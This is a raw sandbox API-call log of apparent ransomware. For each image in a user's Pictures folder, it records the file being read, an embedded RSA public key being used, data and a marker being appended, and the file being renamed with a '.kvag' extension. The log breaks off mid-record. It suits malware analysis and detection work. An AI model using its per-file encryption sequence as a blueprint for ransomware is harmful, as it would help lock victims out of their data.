lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.025] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.025] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.025] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.026] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.026] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.026] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.026] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.026] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.026] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.026] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.026] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.026] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.026] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.027] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x2160, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.027] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.027] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.027] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.027] CloseHandle (hObject=0x61c) returned 1 [0120.028] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p7jOmY0YHtfEDXHjzMJ-.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p7jomy0yhtfedxhjzmj-.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\p7jOmY0YHtfEDXHjzMJ-.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\p7jomy0yhtfedxhjzmj-.jpg.kvag")) returned 1 [0120.029] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacefed20, ftCreationTime.dwHighDateTime=0x1d4d572, ftLastAccessTime.dwLowDateTime=0x4bef7210, ftLastAccessTime.dwHighDateTime=0x1d4c5ab, ftLastWriteTime.dwLowDateTime=0x4bef7210, ftLastWriteTime.dwHighDateTime=0x1d4c5ab, nFileSizeHigh=0x0, nFileSizeLow=0x1727e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RCRu7.gif", cAlternateFileName="")) returned 1 [0120.029] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RCRu7.gif") returned=".gif" [0120.029] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RCRu7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rcru7.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.029] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=94846) returned 1 [0120.030] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.031] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x17258, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.031] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.033] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1727e, lpOverlapped=0x0) returned 1 [0120.033] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.034] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.034] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.034] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.034] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.034] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.034] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.034] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.035] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.035] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.035] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.035] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.035] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.035] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.036] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1727e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.036] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.036] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.036] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.036] CloseHandle (hObject=0x61c) returned 1 [0120.037] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RCRu7.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rcru7.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\RCRu7.gif.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rcru7.gif.kvag")) returned 1 [0120.038] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3936a510, ftCreationTime.dwHighDateTime=0x1d4d566, ftLastAccessTime.dwLowDateTime=0xfd6772e0, ftLastAccessTime.dwHighDateTime=0x1d4d31b, ftLastWriteTime.dwLowDateTime=0xfd6772e0, ftLastWriteTime.dwHighDateTime=0x1d4d31b, nFileSizeHigh=0x0, nFileSizeLow=0x1022, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sM6ixwL8Pn6854du50BY.jpg", cAlternateFileName="SM6IXW~1.JPG")) returned 1 [0120.038] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sM6ixwL8Pn6854du50BY.jpg") returned=".jpg" [0120.038] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sM6ixwL8Pn6854du50BY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sm6ixwl8pn6854du50by.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.039] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=4130) returned 1 [0120.039] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.041] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.041] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.042] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x1022, lpOverlapped=0x0) returned 1 [0120.042] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.042] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.042] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.042] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.043] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.043] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.043] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.043] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.043] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.043] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.043] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.043] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.043] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.043] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.044] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1022, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.044] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.044] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.044] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.044] CloseHandle (hObject=0x61c) returned 1 [0120.044] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sM6ixwL8Pn6854du50BY.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sm6ixwl8pn6854du50by.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\sM6ixwL8Pn6854du50BY.jpg.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\sm6ixwl8pn6854du50by.jpg.kvag")) returned 1 [0120.046] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2352050, ftCreationTime.dwHighDateTime=0x1d4c9ce, ftLastAccessTime.dwLowDateTime=0x7e55e240, ftLastAccessTime.dwHighDateTime=0x1d4c7b6, ftLastWriteTime.dwLowDateTime=0x7e55e240, ftLastWriteTime.dwHighDateTime=0x1d4c7b6, nFileSizeHigh=0x0, nFileSizeLow=0x137bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UGs 1G.png", cAlternateFileName="UGS1G~1.PNG")) returned 1 [0120.046] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UGs 1G.png") returned=".png" [0120.046] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\UGs 1G.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ugs 1g.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.047] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=79805) returned 1 [0120.047] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.049] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13797, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.049] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.050] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x137bd, lpOverlapped=0x0) returned 1 [0120.051] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.051] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.051] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.051] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607be0) returned 1 [0120.052] CryptCreateHash (in: hProv=0x3607be0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.052] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.052] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.052] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.052] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.052] CryptReleaseContext (hProv=0x3607be0, dwFlags=0x0) returned 1 [0120.052] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.052] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.052] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.052] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.053] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x137bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.053] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.053] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.053] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: 